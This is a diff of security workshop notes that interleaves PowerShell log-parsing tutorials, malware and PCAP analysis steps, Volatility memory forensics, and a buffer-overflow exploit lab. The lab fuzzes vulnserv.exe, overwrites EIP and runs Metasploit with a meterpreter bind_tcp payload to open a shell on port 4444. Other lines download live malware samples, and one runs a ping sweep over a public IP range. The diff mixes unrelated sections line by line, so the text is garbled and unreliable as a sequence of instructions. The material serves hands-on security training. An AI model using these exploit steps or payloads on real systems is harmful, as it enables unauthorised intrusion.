-While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
+
 
------------------------------Type this-----------------------------------------
+
-cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
+
--------------------------------------------------------------------------------
+
 
 - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
 
 - Now go to folder C:\Users\Workshop\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
-Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
+
 - Go back to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
------------------------------Type this-----------------------------------------
+
-cat cisco.log | grep %LINEPROTO-5-UPDOWN:
+
 
-cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
+
 
-cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
+
 - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
-cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
+
---------------------------------------------------------------------------------
+
 - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
 - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
-#######################################
+
-# Dealing with macro embedded malware #
+
-#######################################
+
 
 6-jmp-esp.py
----------------------------Type This-----------------------------------
+
-cd ~/malware
+
 7-first-exploit
 - In this script we actually do the stack overflow and launch a bind shell on port 4444
 
 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
- -----------------------------------------------------------------------
+
 
 ------------------------------
 
-- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
+cd /home/strategicsec/toolz/metasploit/modules/exploits/windows/misc
-- Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
+
 vi vulnserv.rb
----------------------------Type This-----------------------------------
+
 
 
 cd ~/toolz/metasploit
 
 ./msfconsole
----------------------------Type This-----------------------------------
+
 
 
-- Look for "GVhkjbjv" and you should see:
+use exploit/windows/misc/vulnserv
 set PAYLOAD windows/meterpreter/bind_tcp
 set RHOST 192.168.153.133
 set RPORT 9999
 exploit
 
 
 
 
-#####################
+
-# Powershell Basics #
+# InfoSec Program Development #
-#####################
+
 Download this file for program development walk-through:
-PowerShell is Microsoft's new scripting language that has been built in since the release Vista.
+https://s3.amazonaws.com/StrategicSec-Files/Build-InfoSec-Assessment-Capability.zip
 
-PowerShell file extension end in .ps1 .
+
 
-An important note is that you cannot double click on a PowerShell script to execute it.
+
 
-To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
+
 
-------------------------Type This------------------------------
+
-cd c:\
+# Download the Analysis VM #
-dir
+
-cd
+https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip
 user: malware
----------------------------------------------------------------
+pass: malware
 
 
-To obtain a list of cmdlets, use the Get-Command cmdlet
+- Log in to your Ubuntu system with the username 'malware' and the password 'malware'.
-------------------------Type This------------------------------
+
-Get-Command
+
----------------------------------------------------------------
+
 cd Desktop/
 
-You can use the Get-Alias cmdlet to see a full list of aliased commands.
+
-------------------------Type This------------------------------
+
-Get-Alias
+
----------------------------------------------------------------
+wget https://s3.amazonaws.com/StrategicSec-Files/MalwareAnalysis/malware-password-is-infected.zip
 wget https://s3.amazonaws.com/StrategicSec-Files/analyse_malware.py
 
-Don't worry you won't blow up your machine with Powershell
+
-------------------------Type This------------------------------
+	infected
-Get-Process | stop-process              Don't press [ ENTER ] What will this command do?
+
-Get-Process | stop-process -whatif
+
----------------------------------------------------------------
+
 mv malware.exe malware.pdf
-To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
+
-------------------------Type This------------------------------
+
-Get-Help Get-Command
+
 mv malware.pdf malware.exe
-Get-Help Get-Service –online
+
 hexdump -n 2 -C malware.exe
-Get-Service -Name TermService, Spooler
+
 ***What is '4d 5a' or 'MZ'***
-Get-Service –N BITS
+Reference:
----------------------------------------------------------------
+
 
 
 objdump -x malware.exe
 
 strings malware.exe
-- Run cmdlet through a pie and refer to its properties as $_
+
-------------------------Type This------------------------------
+
-Get-Service | where-object {  $_.Status -eq "Running"}
+
----------------------------------------------------------------
+
 
 strings malware.exe | grep -i library
 
-- PowerShell variables begin with the $ symbol. First lets create a variable
+
-------------------------Type This------------------------------
+
-$serv = Get-Service –N Spooler
+
----------------------------------------------------------------
+
 strings malware.exe | grep -i hku
-To see the value of a variable you can just call it in the terminal.
+
-------------------------Type This------------------------------
+							- We didn't see anything like HKLM, HKCU or other registry type stuff
-$serv
+
 strings malware.exe | grep -i irc
-$serv.gettype().fullname
+
----------------------------------------------------------------
+strings malware.exe | grep -i join
 
 strings malware.exe | grep -i admin
-Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in
+
-------------------------Type This------------------------------
+
-$serv | Get-Member
+
 
-Get-Member -InputObject $serv
+							- List of IRC commands: https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands
----------------------------------------------------------------
+
 sudo apt-get install -y python-pefile
 
 vi analyse_malware.py
 
-Let's use a method and a property with our object.
+
-------------------------Type This------------------------------
+
-$serv.Status
+
-$serv.Stop()
+
-$serv.Refresh()
+
-$serv.Status
+
-$serv.Start()
+
-$serv.Refresh()
+
-$serv.Status
+
----------------------------------------------------------------
+
 cd ~/Desktop/malwarescanner
 
-If you want some good command-line shortcuts you can check out the following link:
+
-https://technet.microsoft.com/en-us/library/ff678293.aspx
+
 unzip master.zip
 
-# Simple Event Log Analysis #
+
 
-Let's setup a directory to work in:
+
-------------------------Type This------------------------------
+
-cd c:\
+
 
-mkdir ps
+
 
-cd ps
+
----------------------------------------------------------------
+
 cp ~/Desktop/malware.exe ~/Desktop/malcode
-Step 1: Dump the event logs
+
----------------------------
+python scanner.py -H hashes.txt -D /home/malware/Desktop/malcode/ strings.txt
-The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
+
 cp ~/Desktop/
-To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.
+
-If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
+
-------------------------Type This------------------------------
+
-Get-EventLog -LogName application | Export-Clixml Applog.xml
+
 # Analyzing Macro Embedded Malware                  #
-type .\Applog.xml
+
 # https://jon.glass/analyzes-dridex-malware-p1/     #
-$logs = "system","application","security"
+
----------------------------------------------------------------
+cp ~/Desktop/
 
 - Create a FREE account on:
-The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console
+https://malwr.com/account/signup/
-------------------------Type This------------------------------
+
-$logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
+- Grab the malware from:
----------------------------------------------------------------
+https://malwr.com/analysis/MzkzMTk3MzBlZGQ2NDRhY2IyNTc0MGI5MWQwNzEwZmQ/
 
 file ~/Downloads/f9b874f9ccf803abaeaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin
 
 cat ~/Downloads/f9b874f9ccf803abaeaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin
-Step 2: Import the event log of interest
+
-----------------------------------------
+
-To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.
+
-Store the results in a variable.
+
-Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.
+
 
-The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest entries are obtained.
+
-------------------------Type This------------------------------
+
-$seclog = Import-Clixml security.xml
+
 
-$seclog | select -Last 5
+
----------------------------------------------------------------
+
 unzip oledump_V0_0_22.zip
-Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
+
-------------------------Type This------------------------------
+cp ~/Downloads/f9b874f9ccf803abaeaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin .
-Get-EventLog Application -After (Get-Date).AddDays(-1)
+
----------------------------------------------------------------
+mv f9b874f9ccf803abaeaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin 064016.doc
-You can use '-after' and '-before' to filter date ranges
+
 python oledump.py 064016.doc
-One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NFTS and share permissions that are assigned to the location where you store everything.
+
-By default, an ordinary user does not have permission to read the security log.
+
 
 - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
 - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
 
-Step 3: Drill into a specific entry
+
 python oledump.py 064016.doc -s A5 -v
-To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.
+
 - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
-------------------------Type This------------------------------
+
-$seclog | select -first 1 | fl *
+
----------------------------------------------------------------
+
 
-The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.
+- Look for "GVhkjbjv" and you should see:
 
-------------------------Type This------------------------------
+
-($seclog | select -first 1).message
+
 - Take that long blob that starts with 636D and finishes with 653B and paste it in:
-(($seclog | select -first 1).message).gettype()
+
----------------------------------------------------------------
+
 
 
-In the *nix world you often want a count of something (wc -l).
+
-How often is the SeSecurityPrivilege privilege mentioned in the message property?
+
-To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:
+# Yara Ninja #
-------------------------Type This------------------------------
+
-$seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
+sudo apt-get remove -y yara
----------------------------------------------------------------
+
-If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.
+wget https://github.com/plusvic/yara/archive/v3.4.0.zip
 
-------------------------Type This------------------------------
+sudo apt-get -y install libtool
-$seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid
+
----------------------------------------------------------------
+unzip v3.4.0.zip
 
-Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.
+cd yara-3.4.0
-Use the count property to determine the total number of entries in the event log.
+
-------------------------Type This------------------------------
+./bootstrap.sh
-$seclog.Count
+
----------------------------------------------------------------
+./configure
 
 make
 
 sudo make install
 
 yara -v
-# Simple Log File Analysis #
+
 cd ..
 
 wget https://github.com/Yara-Rules/rules/archive/master.zip
-You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA
+
 unzip master.zip
-------------------------Type This------------------------------
+
-cd c:\ps
+cd ~/Desktop
-(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
+
-(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")
+yara rules-master/packer.yar malcode/malware.exe
-Select-String 192.168.208.63 .\CiscoLogFileExamples.txt
+
----------------------------------------------------------------
+
 Places to get more Yara rules:
 ------------------------------
 https://malwareconfig.com/static/yaraRules/
-The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows.
+https://github.com/kevthehermit/YaraRules
-------------------------Type This------------------------------
+https://github.com/VectraThreatLab/reyara
-Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
+
----------------------------------------------------------------
+
 
 Yara rule sorting script:
 -------------------------
-To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.
+https://github.com/mkayoh/yarasorter
-------------------------Type This------------------------------
+
-Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object
+
----------------------------------------------------------------
+
 cd ~/Desktop/rules-master
 for i in $( ls --hide=master.yar ); do echo include \"$i\";done > master.yar
-To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.
+
-------------------------Type This------------------------------
+yara rules-master/master.yar malcode/malware.exe
-Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
+
----------------------------------------------------------------
+
 
 
-Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.
+
-------------------------Type This------------------------------
+
-Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
+
----------------------------------------------------------------
+
 
-In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count –des.
+
-This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.
+Here is a 2 million sample malware DB created by Derek Morton that you can use to start your DB with:
-------------------------Type This------------------------------
+http://derekmorton.name/files/malware_12-14-12.sql.bz2
-Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
+
----------------------------------------------------------------
+
 Malware Repositories:
 http://malshare.com/index.php
 http://www.malwareblacklist.com/
-##############################################
+http://www.virusign.com/
-# Parsing Log files using windows PowerShell #
+http://virusshare.com/
-##############################################
+http://www.tekdefense.com/downloads/malware-samples/
 
-Download the sample IIS log http://pastebin.com/LBn64cyA
+
 
-------------------------Type This------------------------------
+
-(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
+
 # Creating a Malware Database #
-Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV")}
+
----------------------------------------------------------------
+
 Creating a malware database (sqlite)
 ------------------------------------
-The above command would give us all the WebDAV requests.
+sudo apt-get install -y python-simplejson python-simplejson-dbg
 wget https://malwarecookbook.googlecode.com/svn/trunk/4/4/avsubmit.py
-To filter this to a particular user name, use the below command:
+wget https://s3.amazonaws.com/StrategicSec-Files/MalwareAnalysis/malware-password-is-infected.zip
-------------------------Type This------------------------------
+
-Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "OPTIONS")}
+	infected
----------------------------------------------------------------
+python avsubmit.py --init
 python avsubmit.py -f malware.exe -e
 
-Some more options that will be more commonly required :
+
 
-For Outlook Web Access : Replace WebDAV with OWA
+
 
-For EAS : Replace WebDAV with Microsoft-server-activesync
+Creating a malware database (mysql)
 -----------------------------------
-For ECP : Replace WebDAV with ECP
+- Step 1: Installing MySQL database
 - Run the following command in the terminal:
 
 sudo apt-get install mysql-server
 
 - Step 2: Installing Python MySQLdb module
 - Run the following command in the terminal:
 
-####################################################################
+sudo apt-get build-dep python-mysqldb
-# Windows PowerShell: Extracting Strings Using Regular Expressions #
+sudo apt-get install python-mysqldb
-####################################################################
+
 Step 3: Logging in
 Run the following command in the terminal:
-Regex Characters you might run into:
+
 mysql -u root -p					(set a password of 'malware')
-^   Start of string, or start of line in a multiline pattern
+
-$   End  of string, or start of line in a multiline pattern
+- Then create one database by running following command:
-\b  Word boundary
+
-\d  Digit
+create database malware;
-\   Escape the following character
+
-*   0 or more   {3} Exactly 3
+exit;
-+   1 or more   {3,}    3 or more
+
-?   0 or 1      {3,5}   3, 4 or 5
+wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
 
 vi mal_to_db.py						(fill in database connection information)
 
-To build a script that will extract data from a text file and place the extracted text into another file, we need three main elements:
+python mal_to_db.py -i
 
-1) The input file that will be parsed
+python mal_to_db.py -f malware.exe -u
-------------------------Type This------------------------------
+
-(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=rDN3CMLc", "c:\ps\emails.txt")
+
-(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=XySD8Mi2", "c:\ps\ip_addresses.txt")
+mysql -u root -p
-(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=v5Yq66sH", "c:\ps\URL_addresses.txt")
+	malware
----------------------------------------------------------------
+
-2) The regular expression that the input file will be compared against
+mysql> use malware;
 
-3) The output file for where the extracted data will be placed.
+select id,md5,sha1,sha256,time FROM files;
 
-Windows PowerShell has a "select-string" cmdlet which can be used to quickly scan a file to see if a certain string value exists.
+mysql> quit;
-Using some of the parameters of this cmdlet, we are able to search through a file to see whether any strings match a certain pattern, and then output the results to a separate file.
+
 
-To demonstrate this concept, below is a Windows PowerShell script I created to search through a text file for strings that match the Regular Expression (or RegEx for short) pattern belonging to e-mail addresses.
+
-------------------------Type This------------------------------
+
-$input_path = 'c:\ps\emails.txt'
+
-$output_file = 'c:\ps\extracted_addresses.txt'
+
-$regex = '\b[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b'
+
-select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
+
----------------------------------------------------------------
+cd /home/malware/Desktop/Browser\ Forensics
 
 ls | grep pcap
-In this script, we have the following variables:
+
 perl chaosreader.pl suspicious-time.pcap
-1) $input_path to hold the path to the input file we want to parse
+
 firefox index.html
-2) $output_file to hold the path to the file we want the results to be stored in
+
 cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
-3) $regex to hold the regular expression pattern to be used when the strings are being matched.
+
 cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
-The select-string cmdlet contains various parameters as follows:
+
 sudo tshark -i eth0 -r suspicious-time.pcap -qz io,phs
-1) "-Path" which takes as input the full path to the input file
+
 
-2) "-Pattern" which takes as input the regular expression used in the matching process
+for i in session_00[0-9]*.www.html; do srcip=`cat "$i" | grep 'www:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'www:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u
 
-3) "-AllMatches" which searches for more than one match (without this parameter it would stop after the first match is found) and is piped to "$.Matches" and then "$_.Value" which represent using the current values of all the matches.
+
 
-Using ">" the results are written to the destination specified in the $output_file variable.
+
 
-Here are two further examples of this script which incorporate a regular expression for extracting IP addresses and URLs.
+
 # PCAP Analysis with tshark #
-IP addresses
+
-------------
+
-For the purposes of this example, I ran the tracert command to trace the route from my host to google.com and saved the results into a file called ip_addresses.txt. You may choose to use this script for extracting IP addresses from router logs, firewall logs, debug logs, etc.
+
-------------------------Type This------------------------------
+
-$input_path = 'c:\ps\ip_addresses.txt'
+
-$output_file = 'c:\ps\extracted_ip_addresses.txt'
+
-$regex = '\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'
+
-select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
+
----------------------------------------------------------------
+
 
 tshark –r suspicious-time.pcap -Tfields -e “eth.src” | sort | uniq
 
-URLs
+
-----
+
-For the purposes of this example, I created a couple of dummy web server log entries and saved them into URL_addresses.txt.
+
-You may choose to use this script for extracting URL addresses from proxy logs, network packet capture logs, debug logs, etc.
+
-------------------------Type This------------------------------
+
-$input_path = 'c:\ps\URL_addresses.txt'
+
-$output_file = 'c:\ps\extracted_URL_addresses.txt'
+
-$regex = '([a-zA-Z]{3,})://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
+
-select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
+
----------------------------------------------------------------
+
 
-In addition to the examples above, many other types of strings can be extracted using this script.
+
-All you need to do is switch the regular expression in the "$regex" variable!
+
-In fact, the beauty of such a PowerShell script is its simplicity and speed of execution.
+
 whois sploitme.com.cn
 
 
 tshark -r suspicious-time.pcap -R http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
 
 tshark -r suspicious-time.pcap -R http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
-########################################
+
-# Basic Network Commands in PowerShell #
+
-########################################
+
 tshark -r suspicious-time.pcap -R "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
-Reference:
+
-https://blogs.technet.microsoft.com/josebda/2015/04/18/windows-powershell-equivalents-for-common-networking-commands-ipconfig-ping-nslookup/
+
 
 
 
-# Pentester Tasks #
+
 # PCAP Analysis with forensicPCAP.py #
-Reference:
+
-http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/02/use-powershell-for-network-host-and-port-discovery-sweeps.aspx
+cd ~/Desktop
 wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
 sudo easy_install cmd2
-Listing IPs
+
------------
+python forensicPCAP.py Browser\ Forensics/suspicious-time.pcap
-One of the typical ways for working with IP addressed in most scripts is to work with an octet and then increase the last one
+
 ForPCAP >>> help
-------------------------Type This------------------------------
+
-$octect = "149.28.201."
+
-$lastoctect = (1..255)
+
-$lastoctect | ForEach-Object {write-host "$($octect)$($_)"}
+
----------------------------------------------------------------
+
 
 Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
-Ping Sweep
+
-------------------------------------------------------
+
-PowerShell provides several methods for doing Ping
+
-Test-Connection cmdlet
+
-Creation of a WMI Object
+
-.Net System.Net.NetworkInformation.Ping Object
+
-------------------------------------------------------
+
 
 ForPCAP >>> show
-------------------------Type This------------------------------
+
-function New-IPRange ($start, $end) {
+
-$ip1 = ([System.Net.IPAddress]$start).GetAddressBytes()
+
-[Array]::Reverse($ip1)
+
-$ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address
+
 
-$ip2 = ([System.Net.IPAddress]$end).GetAddressBytes()
+
-[Array]::Reverse($ip2)
+
-$ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address
+
 
-for ($x=$ip1; $x -le $ip2; $x++) {
+
-$ip = ([System.Net.IPAddress]$x).GetAddressBytes()
+
-[Array]::Reverse($ip)
+
-$ip -join '.'
+
-}
+
-}
+
-$ping = New-Object System.Net.NetworkInformation.Ping
+# Memory Analysis #
-New-IPRange 149.28.201.1 149.28.201.250 | ForEach-Object {$ping.Send($_, 100)} | where {$_.status -eq "Success"}
+
----------------------------------------------------------------
+cd /home/malware/Desktop/Banking\ Troubles/Volatility
 
 python volatility
-Reverse Lookups
+python volatility pslist -f ../hn_forensics.vmem
----------------
+python volatility connscan2 -f ../hn_forensics.vmem
-For reverse lookups using .Net Class we use the [System.Net.Dns]::GetHostEntry(IP) method Returns System.Net.IPHostEntry
+python volatility memdmp -p 888 -f ../hn_forensics.vmem
 python volatility memdmp -p 1752 -f ../hn_forensics.vmem
 				***Takes a few min***
-------Deprecated--------
+strings 1752.dmp | grep "^http://" | sort | uniq
-[System.Net.Dns]::GetHostByAddress("162.243.126.247")
+strings 1752.dmp | grep "Ahttps://" | uniq -u
-------Deprecated--------
+cd ..
 foremost -i ../Volatility/1752.dmp -t pdf -o output/pdf2
-Use getnameinfo instead:
+cd /home/malware/Desktop/Banking\ Troubles/foremost-1.5.7/output/pdf2/
-https://msdn.microsoft.com/en-us/library/windows/desktop/ms738532(v=vs.85).aspx
+cat audit.txt
 cd pdf
-References:
+
-https://stackoverflow.com/questions/10346194/how-to-use-getnameinfo-instead-of-gethostbyname
+grep -i javascript *.pdf
 
 
 
-Forward Lookups
+cd /home/malware/Desktop/Banking\ Troubles/foremost-1.5.7/output/pdf5/pdf
----------------
+wget http://didierstevens.com/files/software/pdf-parser_V0_6_4.zip
 unzip pdf-parser_V0_6_4.zip
-------------------------Type This------------------------------
+python pdf-parser.py -s javascript --raw 00600328.pdf
-[System.Net.Dns]::GetHostAddresses("www.google.com")
+python pdf-parser.py --object 11 00600328.pdf
----------------------------------------------------------------
+python pdf-parser.py --object 1054 --raw --filter 00600328.pdf > malicious.js
 
 cat malicious.js
-Port Scans
+
-----------
+
-To test if a port is open on a remote host in PowerShell the best method is to use the .Net abstraction that it provides to Windows Socket library
+*****Sorry - no time to cover javascript de-obfuscation today*****
-For TCP the .Net System.Net.Sockets.TcpClient
+
-For UDP the .Net System.Net.Sockets.UdpClient
+
 cd /home/malware/Desktop/Banking\ Troubles/Volatility/
 python volatility files -f ../hn_forensics.vmem > files
 cat files | less
 python volatility malfind -f ../hn_forensics.vmem -d out
-TCP Scan (Windows 7)
+ls out/
---------------------
+python volatility hivescan -f ../hn_forensics.vmem
-NOTE: If you are using Windows 7, use the code below
+python volatility printkey -o 0xe1526748 -f ../hn_forensics.vmem Microsoft "Windows NT" CurrentVersion Winlogon
-------------------------Type This------------------------------
+for file in $(ls *.dmp); do echo $file; strings $file | grep bankofamerica; done